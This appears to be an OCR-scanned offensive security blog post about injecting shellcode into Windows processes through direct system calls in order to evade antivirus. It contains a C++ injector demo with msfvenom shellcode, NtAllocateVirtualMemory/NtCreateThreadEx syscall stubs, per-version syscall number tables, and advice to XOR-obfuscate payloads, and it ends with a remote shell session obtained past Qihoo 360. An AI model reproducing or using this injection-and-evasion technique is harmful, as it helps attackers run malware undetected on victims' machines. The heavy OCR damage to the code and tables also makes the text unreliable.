Direct system call injection
process to avoid anti-kill

The content is as titled.

This is also a technology | have used for a long time. | have also posted such on my github and
given this to many others.

Introduction

The main idea is to inject shellcode into the process. The process can be an existing process or a
newly created process.

Mainly used api are as listed below. Also a good resource for undocumented windows process

injection stuff that I like is the following: https://bytepointer.com/resources/index.htm


https://bytepointer.com/resources/index.htm

LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId

)i

The simple demo is as follows:

#include <iostream>
#include <Windows. h>

#include "common. h"

int main()

{// msfvenom -p windows/x64/exec CMD=notepad. exe -f cunsignedchar shellcode]]

=" \xfc\x48\x83\xe4\xf0\xe8\xcO\x00\x00\x00\x41\x51\x41\x50\x52" " \x51\x56\x48\x31\xd2\x65\x48\ x8|
xac \ x41 \ xcl \ xc9 \ x0d \ x41 \ x01 \ xcl \ x38 \ xe0® \ x75 \ xfl \ x4c \ x03 \ x4c

"\x24\x08\x45\x39\xd1\x75\xd8\x58\ x44\x8b\ x40\ x24\ x49\x01 \xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\ x40\ x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\Xx8b\x12\xe9\x57 \xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\ xff"
"\ xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6T\x6a\x00\x59\x41\x89\ xda\xff\xd5\x6e\x6f\x74"
"\Xx65\x70\x61\x64\x2e\x65\x78\x65\x00" ;

// Create a 64-bit process:

STARTUPINFO si;

PROCESS INFORMATION pi;

LPVOID allocation start;

SIZE T allocation size = sizeof(shellcode);
LPCWSTR cmd;

HANDLE hProcess, hThread;

ZeroMemory( &si, sizeof(si));
ZeroMemory( &i, sizeof(pi));
si.cb = sizeof(si);

cmd = TEXT("C: \\Windows\\System32\\nslookup. exe");



if (! CreateProcess(
cmd, [ITTIITYV/ Executable
NULL, ITITI1TV/ Command line
NULL, [TTITTTV/ Process handle not inheritable
NULL, (ITTTTTY/ Thread handle not inheritable
FALSE, (ITTTTTV/ Set handle inheritance to FALSE
CREATE_NO_WINDOW, [J // Do Not Open a Window
NULL, [(TTTTITV/ Use parent's environment block
NULL, (ITTTITV/ Use parent's starting directory
&si, 111 // Pointer to STARTUPINFO structure
Spi[ITTIIITY/ Pointer to PROCESS INFORMATION structure (removed extra parentheses)
)) A
DWORD errval = GetLastError();
std:: cout << "FAILED" << errval << std::endl;
}
WaitForSingleObject(pi. hProcess, 1000); // Allow nslookup 1 second to

start/initialize

// Inject into the 64-bit process
// HIGH-LEVEL WINDOWS API
allocation start = VirtualAllocEx(pi.hProcess, NULL, allocation size, MEM COMMIT
MEM RESERVE, PAGE EXECUTE READWRITE);
WriteProcessMemory(pi. hProcess, allocation start, shellcode, allocation size, NULL);
CreateRemoteThread(pi. hProcess, NULL, 0, (LPTHREAD START ROUTINE)allocation start, NULL,
0, 0);
}

Then analyze the API call situation:



100 [l Application Installation and Servicing &-0] Madules 1 250:03.176PM 1 ntdiLdll DIIMain { Ox
101 Wl Audio and video O SHLWAPLdI 2 25003176 PM 1 KERNELBASE.dil i~ NtDevie:
+-CJ [l compenent Object Model (COM) - mevertall 3 250:03176PM 1 KERNELBASE.dil L-RiSetla
%] [l Data Access and storage o combase.dl 4 250:03.176PM 1 ntdiLdi DilMain ( 0x
] W Detta Compression O RecRTA s 2:50:03'175FM 1 n‘tdll.dll DiIMain ( 0x
1.0 [l Devices -1 bayptPrimitives.dll : - liMain (O

+0 W viagnesties | J GDi32.dll 6 250:03176PM 1 KERNEL32.DLL --Rusm:
0] B Documents and Printing 0] gdiazfull.dil 7 250:03.176PM 1 ntdildll DilMain ( 0x
1.0 [ Graphics and Gaming .1 msvep_win.dil 8 250:03.176PM 1 KERNEL32.DLL L-RtlSetla
O . Internet -] USER32.dIl 9 2:50:03.176 PM 1 ntdil.dil DiIMain ( O0x
100 | Microsoft NET -7 win32u.dil 10 250:03.176PM 1 ntdil.dil DiIMain ( 0x
12 [ N7 native . VCRUNTIME140.dIl 1 250:03.176PM 1 ntdiLdll DilMain ( 0x
1.1 [ Netscape Portable Runtime -] VCRUNTIME140_1.dlI 12 250:03.176PM 1 ntdiLdll DilMain { Ox
O . Metwork Security Services (NSS) -] ucrtbase.dll 13 2:50:03.176 PM 1 ntdil.dil DliMain ( Ox
+O0 [l Networking - apphelp.dil 14 250:03.176PM 1 ntdll.dil DilMain { 0x
[ W office Development || ] KERNELBASE.dll 15 250:03.177PM 1 ntdil.dil DilMain { 0x
O . Scripting Runtime Library -~ ntdil.dil 16 2:50:03.177PM 1 KERNELBASE.dII RiISetLastw
1+ [ security and Identity -] KERNEL32.DLL 17 250:03.177PM 1 CRT_High_Level_AP... InitializeSLis
1+ [ System Administration -] CRT_High_Level_APl.exe 18 250:03177PM 1 KERNELBASE. il NtQuenyVirt
112 [l System Services 3 msvepiaodi 19 250:03177PM 1 KERNELBASE.dil NtQuenyVirt
1[4 [l Undocumented (UnDoc d) g AD:AT:I‘“' 20 250:03.177PM 1 KERNELBASE. dll NtQuenyvirt

i i = sechost.

]E ! Virtualization i 21 250:03.177PM 1 KERNELBASE. dll RtlAllocater
1 Whirsal F o = Diien Tiema lilkeams e | a

CRI_HIgh_Level_AHl.exe

VirtualAllocex [ UxUDLLODDDUOUDOT 20, NULL, 280, MEM_COMMII | MEM_RESERVE, PAGE_EXECUIE_READWRIIE )

KERNELBASE.dIl L-NtAllocateVirtualMemory ( 0x0000000000000120, 0xD00000026b dSf2f8, 0, 0x000000026b 9300, MEM_COMMIT | MEM_RESERVE, PAGE,
KERNELBASE.dII NtQueryVirtualMemory ( 0x0000000000000120, 0x00000147d8b50000, 8, 0x000000026bd9f580, 48, NULL )

KERMELBASE.dII NtWriteVirtualMemory [ 0x0000000000000120, 0x00000147d8b50000, 0x000000026bd9f6d0, 280, 0x000000026bd9f570)
CRT_High_Level_APl.exe CreateRemoteThread ( 0x0000000000000120, NULL, 0, 0x00000147d8b50000, NULL, O, NULL)

KERMELBASE.dIl | NtDuplicateObject ( GetCurrentProcess(), 0x0000000000000120, GetCurrentProcess(), 0x000000026bd9ee28, 1026, 0, 0)
KERMNELBASE.dII NtQueryinformationProcess ( Ox0000000000000188, ProcessBasicinformation, 0x000000026bd9ee88, 48, NULL)

KERMNELBASE.dII E"-NtQueryInformatlonPracess ( 0x0000000000000188, Processimagelnformation, 0x000000026bd%eecl, 64, NULL)

KERMELBASE.dII !---NtCreatemreadEx [ 0x000000026bd9ee08, THREAD_ALL_ACCESS, NULL, 0x0000000000000188, Ox00000147d8b50000, NULL, FALSE, 0, O, |

it is important to remember that there are two types of APIs that can be spied on:

£ Event Properties

Event Process Stadk

Kernel-Land

We use low level APIs for our operations

So,

Frame  Module Location Address Path

K0 FLTMGRSYS FipPedformPreCalbacks « (nd OifffB0b452555d  C:\Windows\System 12\dnvers \FLTMGR SY5

K1 FLTMGRSYS FoPass Throughintemal + (xBc OfB0b4%250bc  C:\Windows'\System 12\dnvers \FLTMGR SYS

K2 FLTMGRSYS FipPass Through « (x158 Odifff80b4%24c28  C:\Windows\System 12\dnvers \FLTMGR SYS

K3 FLTMGRSYS FrpDespatch + Oc9e OffEtb4%24ale  C\Windows\System12\drvers \FLTMGR SYS

K 4 rtoshmiexe OFE06528279  C:\Windows'\system32\ntoskmi exe

K5  rtosionl exe lopQuery Xoxinformation + Ok 12c OAMB06HCAES:  C\Windows'system12\reoskomi exe

K&  rioskmiexe lopQueryNameintemal « (k212 vt OAFB06HcI5ce  C\Windows \system32\rtoskmi exe

K7  rtoskmlexe lopQueryName - (26 OFB06HcIda6 C\Windows \system 12\rtoskomi exe
OFfE06SIcIedS  C\Windows'system12\rtoskmi exe

(HF0660080bed  C:\Windows \system12\ntoskoml exe
(OATB06600800c5 C\Windows \system12\rtoskmi exe

(e 39c 2bbd CA\Windows \System 12\ntdl i
User-Land OcWed7a28d  C\Windows\System32\KemelBase i

O Webb 72038 C\Windows'\System 32\ KemelBase i
U 15  user_kemel_example exe pre_cpp_intisization + (x9, d \agent’_work \5\s\src\wetooks \ort \westanup \src \startup \exe_common inl(220) W68 1575 C\Users\ip'\Documents'\blog \process_injection \CRT \user_kerr|
U 16 uotbase d ntterm « (xdd (cHelba2dabl C\Windows\System 12\ucrtbase Al
U 17 user_kemel_example exe __scrt_common_main_seh + (x81. d \agent\_work \5\s'\src \wetools \ort \westartup \src \startup \exe_common ink(256)  (x W 7b68c 1609 C\Users \ip\Documents'\blog \process_injection\CRT \user_kerr|
U 18 kemell2dl Base Threadind Thunk » (k14 O We3Te37974 C\Windows'\System 12 \kemel 32 dI
U1 ndd RiiUserThreadStart + (x21 O« He3Rfa261 C\Windows'\System 32\nidll i

First, make a system call to the APl you need to use. The core code is as follows:

NtAllocateVirtualMemory(pi. hProcess, 0,

MEM RESERVE, PAGE EXECUTE READWRITE);

&allocation start,
MEM COMMIT |
NtWriteVirtualMemory(pi. hProcess, allocation start,

NtCreateThreadEx( & Thread, GENERIC EXECUTE, NULL,

shellcode,

pi. hProcess,

(PULONG) &llocation size,

sizeof(shellcode), 0);

allocation start
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allocation start, FALSE, NULL, NULL, NULL, NULL);

Among them, NtAllocateVirtualMemory needs to consider the version differences of different
operating systems. Refer to the following:

NtAllocateVirtualMemory SystemCall 6 1 7600: ; Windows 7 SPO

[mov eax, 0015h

[mp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 6 1 7601: ; Windows 7 SP1 and Server 2008 R2 SPO
[mov eax, 0015h

[mp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 6 2 XXXX: ; Windows 8 and Server 2012
[mov eax, 0016h

[mp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 6 3 XXXX: ; Windows 8.1 and Server 2012 R2
[mov eax, 0017h

[mp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 10 0 10240: ; Windows 10. 0.10240 (1507)
[mov eax, 0018h

[mp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 10 0 10586: ; Windows 10. 0.10586 (1511)
[mov eax, 0018h

[mp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 10 0 14393: ; Windows 10.0.14393 (1607)
[mov eax, 0018h

[mp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 10 0 15063: ; Windows 10. 0.15063 (1703)
[mov eax, 0018h

[Imp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 10 0 16299: ; Windows 10.0.16299 (1709)
[mov eax, 0018h

[mp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 10 0 17134: ; Windows 10.0.17134 (1803)
[mov eax, 0018h

[Imp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 10 0 17763: ; Windows 10.0.17763 (1809)
[mov eax, 0018h

[mp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 10 0 18362: ; Windows 10. 0.18362 (1903)
[mov eax, 0018h



[(mp NtAllocateVirtualMemory Epilogue

NtAllocateVirtualMemory SystemCall 10 O 18363: ; Windows 10. 0. 18363 (1909)
[mov eax, 0018h

[mp NtAllocateVirtualMemory Epilogue

The list is as follows:

Syscall Table Indexes

# ServiceName 3790 | 6000 | 6002 | 7601 | 9200 | 9600 (10061 | 10240 | 10586 | 14393 | 15063 | 16299 | 17134 | 17763 | 18362 | 18363 | 19041 | 19631 | 19645 | 20190
1 | NtAcceptConnectPort 96 96 96 96 97 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2
2 | NtAccessCheck 97 97 97 97 98 98 0 0 0 0 0 0 0 0 0 0 0 0 0 0
3 | NtAccessCheckAndAuditAlarm 38 38 38 38 39 40 41 41 41 41 41 41 41 41 41 41 41 41 41 41
4 | NtAccessCheckByType 98 98 98 98 9 99 99 99 99 99 99 99 99 99 99 99 99 99 |99 99
5 | NtAccessCheckByTypeAndAuditAlarm 86 86 86 86 87 88 89 89 89 89 89 89 89 89 89 80 |89 89 |89 89
6 | NiAccessCheckByTypeResultList 99 9 9 99 100|100 (100 |100 (100 |100 (100 |100 |100 |100 |100 |100 |100 |100 |100 |[100
7 | NtAccessCheckByTypeResultListAnd AuditAlarm 100 |100 100 {100 (101 |101 |101 |101 |101 (101 101 |101 {101 (101 |101 (101 |101 |101 |101 |101
8 | NtAccessCheckByTypeResultListAndAuditAlarmByHandle 101 [101 [101 {101 [102 |102 |102 |102 |102 |102 |102 (102 |102 (102 {102 |102 (102 |102 |102 |102
9 | NtAddAtom 68 68 68 68 69 70 71 71 71 71 71 71 71 71 71 71 71 71 71 71
10 | NtAddBootEntry 102 |103 (103 102 (104 |l04 |104 |104 |104 |104 (105 |105 |105 (105 (105 |105 |106 (106 |106 |106
11 | NtAddDriverEntry 103 |104 |104 {103 (105 |105 |105 |105 |105 |[105 |106 |106 (106 |(106 |106 (106 |107 |107 |107 |107
12 | NtAdjustGroupsToken 104 |105 (105 |104 |106 |106 (106 (106 |106 |106 (107 |107 |107 |107 |l07 |107 (108 |108 |108 (108
13 | NtAdjustPrivilegesToken 62 62 62 62 63 64 65 65 65 65 65 65 65 65 65 65 65 65 |65 65
14 | NtAlertResume Thread 105 |106 |106 |105 (108 |108 |108 |108 |108 (108 |109 |109 (109 (109 |109 (109 |110 |110 |110 |110
15 | NitAlertThread 106 (107 (107 |106 |109 |109 |109 109 (109 |109 |110 110 110 110 110 110 111 m 11 111
16 | NtAllocateLocallyUniqueld 107 |108 108 [107 (111 |11 (111 |11 |11 (11 jm2 |u2 fu2 (12 ju2 (112 |13 |u3 (113 |us3
17 | NtAllocateUserPhysical Pages 108 |109 |109 109 (113 |113 (113 (113 (113 (113 |114 |114 |114 (114 |l14 (114 |115 (115 |115 (115
18 | NtAllocateUuids 109 |110 |10 (110 (114 114 |114 |14 |14 (114 115 |15 (115 (115 |15 (15 |17 |n7 o ju7o|ny
19 | NtAllocateVirtualMemory 21 21 21 21 22 23 24 24 24 24 24 24 24 24 24 24 24 24 24 24
20 | NtApphelpCacheControl 73 73 73 73 74 75 76 76 76 76 76 76 76 76 76 76 76 76 76 76
21 | NtAreMappedFilesTheSame 110 132 132 |132 (137 |137 |138 |138 |138 (138 |139 |139 (140 [140 |140 (140 |142 |142 |142 |142
22 | NtAssignProcessToJobObject m 133 1133|133 (138 |138 |139 |139 |139 |139 |140 |140 |141 (141 (141 |141 |143 (143 |143 |143
23 | NiCallbackReturn 2 2 2 2 3 4 5 5 5 5 5 5 5 5 5 5 5 5 5 5
24 | NiCancelDeviceWakeupRequest 112 134 134

25 | NiCancelloFile 90 %0 90 90 91 92 93 a3 93 93 |93 93 |93 93 |93 (93 |93 |93 |93 (93
26 | NtCancelTimer 94 94 94 94 95 96 97 97 97 97 97 97 97 97 |97 97 |97 97 |97 |97
27 | NiClearEvent 59 59 59 59 60 61 62 62 62 62 62 62 62 62 62 62 62 62 62 62
28 | NtClose 12 12 12 12 13 14 15 15 15 15 15 15 15 15 15 15 15 15 15 15
n At L al Vhinne A vidie Al == == == =& =7 ca =0 =n =0 =n =n =n =n =0 =n =n =n en en =n

Regarding the relationship, refer to the following figure then obfuscate your shellcode such as xor
or rotl3. Then load it into memory and decrypt it.

zMMo  [YMMO [xMMo J|zMM1  [YMM1 [xwm1] |sT(0)[MMO |[ST(1)MM1 | [EEIaxEAXRAX|[[ELwv] weo] Re|[Eiv]muoR12] [MswicRO| CR4 |
ST(2) Mz [ 57(3) v | [EEREox Rex|[es] = rEsnss] | cr1 | crs |

Sria) e [5705) s | [EEEREon x| o Fsiond] [ cr2 | cre
ZMM6 [sT(6)[MM6 || 5T(7) MM7 | |[EEDXEOXRDX|[EFwucR11|EFvusor1s| [ CR3 | CR7
B o ool e (oo
ZMM10 [ cw |[Fr_ir|Fr_oP|FP_cs| [EIses) Rsi| [ErlsPEsPRSP CR9

7 B 8-bit register ] 32-bit register || 80-bit register || 256-bit register
ZMM14 | YMM14 ZMM15 YMM15 XMM15 w B 16-bit register | 64-bit register || 128-bit register [J] 512-bit register chil
[ 2Mm24] ZMm2s]| zMMm26]| zMm27]| ZMM28]| ZMM29]| ZMm3d]| zMm31 [Fp_opc[FP_DP|FP_IP| cs | ss | ps||[GptR | iDTR | [ DRO || DRE | |CR13]
[ Es | Fs |[es || TR ][ bTR || DR1 | DR7 | [CR14]

[ [RFLAGS [DrR2 | DR8 | [CR15]

| bR4 | DR10| DR12] DR14]
[ brs | DR11 [ DR13] DR15|

ZMMlG” ZMM17 ZMMIS—‘ ZMM19 ZMMZO} ZMM21|I ZMMZZI ZMM23 [FP_DS‘

To test this ill use the only antivirus that | respect qihoo 360 :not_troll:
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external inter.. -  listener user computer note
Mdninistrator\Desktop?processinject.exe u 192.168... 192.168... 00 Administ... PCMICR...

C:\Windows\systen32\cad. exe

Mdministrator\Desktop>

By Boschko

* My Hack The Box: https://www.hackthebox.eu/home/users/profile/37879

* My GitHub: https://github.com/OlivierLaflamme
®* My WeChat QR below:

age noffpund or type unknown
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